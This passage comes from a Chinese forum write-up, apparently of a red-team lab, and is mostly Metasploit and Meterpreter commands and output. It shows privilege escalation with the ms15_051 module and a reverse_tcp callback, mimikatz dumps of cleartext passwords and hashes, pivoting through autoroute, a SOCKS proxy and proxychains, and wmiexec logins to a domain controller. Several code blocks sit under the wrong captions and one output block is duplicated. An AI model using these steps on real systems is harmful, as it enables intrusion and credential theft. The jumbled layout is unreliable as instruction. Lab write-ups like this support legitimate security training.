  8. 252   4     smss.exe
  9. 340   332   csrss.exe
  10. 388   496   svchost.exe
  11. 392   332   wininit.exe
  12. 400   384   csrss.exe
  13. 448   384   winlogon.exe
  14. 496   392   services.exe
  15. 504   392   lsass.exe
  16. 516   392   lsm.exe
  17. 632   496   svchost.exe
  18. 700   496   svchost.exe
  19. 748   496   svchost.exe
  20. 812   496   svchost.exe
  21. 820   448   LogonUI.exe
  22. 836   496   svchost.exe
  23. 864   496   svchost.exe
  24. 1128  496   spoolsv.exe
  25. 1168  496   svchost.exe
  26. 1392  340   conhost.exe        x64   0        SUN\Administrator  C:\Windows\System32\conhost.exe
  27. 1568  496   svchost.exe
  28. 1696  1740  cmd.exe            x86   0        SUN\Administrator  C:\Windows\SysWOW64\cmd.exe
  29. 1724  1696  powershell.exe     x86   0        SUN\Administrator  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power
  30.                                                                   shell.exe
  31. 1740  2016  httpd.exe          x86   0        SUN\Administrator  C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
  32. 1860  496   svchost.exe
  33. 1980  864   taskeng.exe        x64   0        SUN\Administrator  C:\Windows\System32\taskeng.exe
  34. 2016  1980  httpd.exe          x86   0        SUN\Administrator  C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
  35. 2024  1980  mysqld.exe         x86   0        SUN\Administrator  C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe
  36. 2036  340   conhost.exe        x64   0        SUN\Administrator  C:\Windows\System32\conhost.exe
  37. 2660  496   svchost.exe
  38. 2672  496   svchost.exe
  39. 2688  496   sppsvc.exe
  40. 2756  496   SearchIndexer.exe
  41. 3036  1724  powershell.exe     x86   0        SUN\Administrator  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power
  42.                                                                   shell.exe
  43. meterpreter > migrate 1392
  44. [*] Migrating from 3036 to 1392...
  45. [*] Migration completed successfully.
  46. meterpreter > getpid
  47. Current pid: 1392
  48. meterpreter > sysinfo
  49. Computer        : WIN7
  50. OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
  51. Architecture    : x64
  52. System Language : zh_CN
  53. Domain          : SUN
  54. Logged On Users : 2
  55. Meterpreter     : x64/windows
复制代码
显示 meterpreter 后查看当前用户是否为 SYSTEM:
  1. msf exploit(windows/local/ms15_051_client_copy_image) > use exploit/windows/local/ms15_051_client_copy_image
  2. [*] Using configured payload windows/meterpreter/reverse_tcp
  3. msf exploit(windows/local/ms15_051_client_copy_image) > options
  4. Module options (exploit/windows/local/ms15_051_client_copy_image):
  5.    Name     Current Setting  Required  Description
  6.    ----     ---------------  --------  -----------
  7.    SESSION                   yes       The session to run this module on
  8. Payload options (windows/meterpreter/reverse_tcp):
  9.    Name      Current Setting  Required  Description
  10.    ----      ---------------  --------  -----------
  11.    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  12.    LHOST     192.168.85.142   yes       The listen address (an interface may be specified)
  13.    LPORT     4444             yes       The listen port
  14. Exploit target:
  15.    Id  Name
  16.    --  ----
  17.    0   Windows x86
  18. View the full module info with the info, or info -d command.
  19. msf exploit(windows/local/ms15_051_client_copy_image) > set target Windows\ x64
  20. target => Windows x64
  21. msf exploit(windows/local/ms15_051_client_copy_image) > set LHOST 192.168.111.25
  22. LHOST => 192.168.111.25
  23. msf exploit(windows/local/ms15_051_client_copy_image) > set LPORT 6666
  24. sLPORT => 6666
  25. msf exploit(windows/local/ms15_051_client_copy_image) > set session 1
  26. session => 1
  27. msf exploit(windows/local/ms15_051_client_copy_image) > grep meterpreter grep windows grep x64 show payloads
  28.    24  payload/windows/x64/meterpreter/bind_ipv6_tcp       .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
  29.    25  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid  .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
  30.    26  payload/windows/x64/meterpreter/bind_named_pipe     .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
  31.    27  payload/windows/x64/meterpreter/bind_tcp            .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
  32.    28  payload/windows/x64/meterpreter/bind_tcp_rc4        .                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
  33.    29  payload/windows/x64/meterpreter/bind_tcp_uuid       .                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
  34.    30  payload/windows/x64/meterpreter/reverse_http        .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
  35.    31  payload/windows/x64/meterpreter/reverse_https       .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
  36.    32  payload/windows/x64/meterpreter/reverse_named_pipe  .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
  37.    33  payload/windows/x64/meterpreter/reverse_tcp         .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
  38.    34  payload/windows/x64/meterpreter/reverse_tcp_rc4     .                normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
  39.    35  payload/windows/x64/meterpreter/reverse_tcp_uuid    .                normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
  40.    36  payload/windows/x64/meterpreter/reverse_winhttp     .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
  41.    37  payload/windows/x64/meterpreter/reverse_winhttps    .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
  42. msf exploit(windows/local/ms15_051_client_copy_image) > set payload payload/windows/x64/meterpreter/reverse_tcp
  43. payload => windows/x64/meterpreter/reverse_tcp
  44. msf exploit(windows/local/ms15_051_client_copy_image) > run
  45. [-] Handler failed to bind to 192.168.111.25:6666:-  -
  46. [*] Started reverse TCP handler on 0.0.0.0:6666
  47. [*] Reflectively injecting the exploit DLL and executing it...
  48. [*] Launching netsh to host the DLL...
  49. [+] Process 924 launched.
  50. [*] Reflectively injecting the DLL into 924...
  51. [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
  52. [*] Sending stage (244806 bytes) to 192.168.111.150
  53. [*] Meterpreter session 2 opened (10.8.0.6:6666 -> 192.168.111.150:49180) at 2026-04-04 20:09:48 +0800
复制代码
输出:
  1. meterpreter > msf exploit(windows/local/ms15_051_client_copy_image) > use exploit/windows/local/ms15_051_client_copy_image
  2. [*] Using configured payload windows/meterpreter/reverse_tcp
  3. msf exploit(windows/local/ms15_051_client_copy_image) > options
  4. Module options (exploit/windows/local/ms15_051_client_copy_image):
  5.    Name     Current Setting  Required  Description
  6.    ----     ---------------  --------  -----------
  7.    SESSION                   yes       The session to run this module on
  8. Payload options (windows/meterpreter/reverse_tcp):
  9.    Name      Current Setting  Required  Description
  10.    ----      ---------------  --------  -----------
  11.    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  12.    LHOST     192.168.85.142   yes       The listen address (an interface may be specified)
  13.    LPORT     4444             yes       The listen port
  14. Exploit target:
  15.    Id  Name
  16.    --  ----
  17.    0   Windows x86
  18. View the full module info with the info, or info -d command.
  19. msf exploit(windows/local/ms15_051_client_copy_image) > set target Windows\ x64
  20. target => Windows x64
  21. msf exploit(windows/local/ms15_051_client_copy_image) > set LHOST 192.168.111.25
  22. LHOST => 192.168.111.25
  23. msf exploit(windows/local/ms15_051_client_copy_image) > set LPORT 6666
  24. sLPORT => 6666
  25. msf exploit(windows/local/ms15_051_client_copy_image) > set session 1
  26. session => 1
  27. msf exploit(windows/local/ms15_051_client_copy_image) > grep meterpreter grep windows grep x64 show payloads
  28.    24  payload/windows/x64/meterpreter/bind_ipv6_tcp       .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
  29.    25  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid  .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
  30.    26  payload/windows/x64/meterpreter/bind_named_pipe     .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
  31.    27  payload/windows/x64/meterpreter/bind_tcp            .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
  32.    28  payload/windows/x64/meterpreter/bind_tcp_rc4        .                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
  33.    29  payload/windows/x64/meterpreter/bind_tcp_uuid       .                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
  34.    30  payload/windows/x64/meterpreter/reverse_http        .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
  35.    31  payload/windows/x64/meterpreter/reverse_https       .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
  36.    32  payload/windows/x64/meterpreter/reverse_named_pipe  .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
  37.    33  payload/windows/x64/meterpreter/reverse_tcp         .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
  38.    34  payload/windows/x64/meterpreter/reverse_tcp_rc4     .                normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
  39.    35  payload/windows/x64/meterpreter/reverse_tcp_uuid    .                normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
  40.    36  payload/windows/x64/meterpreter/reverse_winhttp     .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
  41.    37  payload/windows/x64/meterpreter/reverse_winhttps    .                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
  42. msf exploit(windows/local/ms15_051_client_copy_image) > set payload payload/windows/x64/meterpreter/reverse_tcp
  43. payload => windows/x64/meterpreter/reverse_tcp
  44. msf exploit(windows/local/ms15_051_client_copy_image) > run
  45. [-] Handler failed to bind to 192.168.111.25:6666:-  -
  46. [*] Started reverse TCP handler on 0.0.0.0:6666
  47. [*] Reflectively injecting the exploit DLL and executing it...
  48. [*] Launching netsh to host the DLL...
  49. [+] Process 924 launched.
  50. [*] Reflectively injecting the DLL into 924...
  51. [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
  52. [*] Sending stage (244806 bytes) to 192.168.111.150
  53. [*] Meterpreter session 2 opened (10.8.0.6:6666 -> 192.168.111.150:49180) at 2026-04-04 20:09:48 +0800Server username: NT AUTHORITY\SYSTEM
复制代码
提权成功。
九、横向移动

1、抓凭证

开始收集凭据,既然是最高权限直接:
  1. meterpreter > getuid
  2. Server username: NT AUTHORITY\SYSTEM
复制代码
红日靶机的老套路,密码复用现象,即合理猜测域控的:

  • 账户:administrator
  • 密码:dc123.com
2、建立路由和代理

建立路由:
  1. meterpreter > load kiwi
  2. Loading extension kiwi...
  3.   .#####.   mimikatz 2.2.0 20191125 (x64/windows)
  4. .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
  5. ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  6. ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
  7. '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  8.   '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/
  9. Success.
  10. meterpreter > creds_all
  11. [+] Running as SYSTEM
  12. [*] Retrieving all credentials
  13. msv credentials
  14. ===============
  15. Username       Domain  LM                             NTLM                           SHA1
  16. --------       ------  --                             ----                           ----
  17. Administrator  SUN     c8c42d085b5e3da2e926022376545  e8bea972b3549868cecd667a64a6a  3688af445e35efd8a4d4e0a9eb90b
  18.                        1f1                            c46                            754a2f3a4ee
  19. WIN7$          SUN                                    df77b6923582486e68ee893c88f6e  dafaeb42fb90c4d766d8dbbab5a12
  20.                                                       f6f                            8c6ecabd08c
  21. wdigest credentials
  22. ===================
  23. Username       Domain  Password
  24. --------       ------  --------
  25. (null)         (null)  (null)
  26. Administrator  SUN     dc123.com
  27. WIN7$          SUN     22 69 49 d7 98 ab 74 be 32 4a eb 29 8a 0f f6 20 70 29 b4 a2 dd 74 a1 62 59 22 d5 6c cc b7 b
  28.                        9 04 af a5 ba 91 d0 d4 21 3e dc e4 eb a6 d4 41 84 1f cd fe 08 ac 6e 0f 08 e8 d9 3f 53 25 3c
  29.                         4d 06 31 31 9d d2 22 a9 c9 16 39 15 9e 6c 36 3e 00 44 fd fc 5b bc f6 27 c8 d5 7e c2 66 72
  30.                        80 f6 e2 83 3d d9 c0 af 7f 77 82 d4 40 4d 97 65 b6 de ec 9e 46 bb 98 2a 5e cc 3c 62 b2 43 f
  31.                        2 7a 89 82 66 9d cd 38 4e 38 9f 28 45 8e 45 f8 da 23 c8 94 b7 fa a6 f7 3d d2 fe 1d 68 c3 93
  32.                         a6 bd 54 b2 8b 0a f0 b4 fb f7 79 fb 67 33 74 7e 19 54 97 04 9e 8a e2 ff d3 de f2 cc 1f 20
  33.                        87 76 54 d1 db 5e b7 5d e5 1b 8b 0a 1c bc 96 0f 52 9e d8 23 5c 07 f4 0a 89 b8 e9 46 a4 f2 e
  34.                        1 d7 22 eb 19 b5 d7 b7 90 42 73 d4 d9 96 92 1f 3d 9d 75 7a d4 91 4f d6 00 8d 71 c3
  35. tspkg credentials
  36. =================
  37. Username       Domain  Password
  38. --------       ------  --------
  39. Administrator  SUN     dc123.com
  40. kerberos credentials
  41. ====================
  42. Username       Domain   Password
  43. --------       ------   --------
  44. (null)         (null)   (null)
  45. Administrator  SUN.COM  dc123.com
  46. win7$          SUN.COM  22 69 49 d7 98 ab 74 be 32 4a eb 29 8a 0f f6 20 70 29 b4 a2 dd 74 a1 62 59 22 d5 6c cc b7
  47.                         b9 04 af a5 ba 91 d0 d4 21 3e dc e4 eb a6 d4 41 84 1f cd fe 08 ac 6e 0f 08 e8 d9 3f 53 25
  48.                         3c 4d 06 31 31 9d d2 22 a9 c9 16 39 15 9e 6c 36 3e 00 44 fd fc 5b bc f6 27 c8 d5 7e c2 66
  49.                         72 80 f6 e2 83 3d d9 c0 af 7f 77 82 d4 40 4d 97 65 b6 de ec 9e 46 bb 98 2a 5e cc 3c 62 b2
  50.                         43 f2 7a 89 82 66 9d cd 38 4e 38 9f 28 45 8e 45 f8 da 23 c8 94 b7 fa a6 f7 3d d2 fe 1d 68
  51.                         c3 93 a6 bd 54 b2 8b 0a f0 b4 fb f7 79 fb 67 33 74 7e 19 54 97 04 9e 8a e2 ff d3 de f2 cc
  52.                         1f 20 87 76 54 d1 db 5e b7 5d e5 1b 8b 0a 1c bc 96 0f 52 9e d8 23 5c 07 f4 0a 89 b8 e9 46
  53.                         a4 f2 e1 d7 22 eb 19 b5 d7 b7 90 42 73 d4 d9 96 92 1f 3d 9d 75 7a d4 91 4f d6 00 8d 71 c3
复制代码
建立代理:
  1. meterpreter > run autoroute -s 192.168.138.0/24
  2. [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
  3. [!] Example: run post/multi/manage/autoroute OPTION=value [...]
  4. [*] Adding a route to 192.168.138.0/255.255.255.0...
  5. [+] Added route to 192.168.138.0/255.255.255.0 via 192.168.111.150
  6. [*] Use the -p option to list all active routes
复制代码
使用 proxychains 这个工具,配置其配置文件(我的配置文件的路径是 /etc/proxychains4.conf),在末尾处添加/修改:
  1. msf exploit(windows/local/ms15_051_client_copy_image) > use use auxiliary/server/socks_proxy
  2. Matching Modules
  3. ================
  4.    #  Name                          Disclosure Date  Rank    Check  Description
  5.    -  ----                          ---------------  ----    -----  -----------
  6.    0  auxiliary/server/socks_proxy  .                normal  No     SOCKS Proxy Server
  7. Interact with a module by name or index. For example info 0, use 0 or use auxiliary/server/socks_proxy
  8. [*] Using auxiliary/server/socks_proxy
  9. msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
  10. SRVHOST => 127.0.0.1
  11. msf auxiliary(server/socks_proxy) > set SRVPORT 1080
  12. SRVPORT => 1080
  13. msf auxiliary(server/socks_proxy) > set VERSION 5
  14. VERSION => 5
  15. msf auxiliary(server/socks_proxy) > run -j
  16. [*] Auxiliary module running as background job 1.
复制代码
若不知道配置文件的位置可以使用查找命令查找:
  1. [ProxyList]
  2. # add proxy here ...
  3. # meanwile
  4. # defaults set to "tor"
  5. socks5         127.0.0.1 1080
复制代码
直接使用“工具 wmiexec + 刚刚获取的凭证”去登入域控:
  1. find /etc -name "proxychains*" 2>/dev/null
复制代码
-codec gbk 是为了解决编码的问题。
获得 CMD 之后,查找 Flag 的位置:
  1. proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py SUN/Administrator:'dc123.com'@192.168.138.138 -codec gbk
复制代码
直接 type flag即可:
  1. C:\Documents and Settings\admin\Desktop 的目录
  2. 2025/09/14  08:46                15 flag.txt
复制代码
十、总结

其实在“内核提权”那一块,我用 AI 进行漏洞的筛选这是比较现代化的做法(/doge),大家也可以尝试用 MSF 自带的 post/multi/recon/local_exploit_suggester 模块,它可以直接在已有的 meterpreter session 上跑,自动比对补丁列表和可用模块,下面是输出结果:
  1. C:\>type C:\Users\admin\Desktop\flag.txt
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册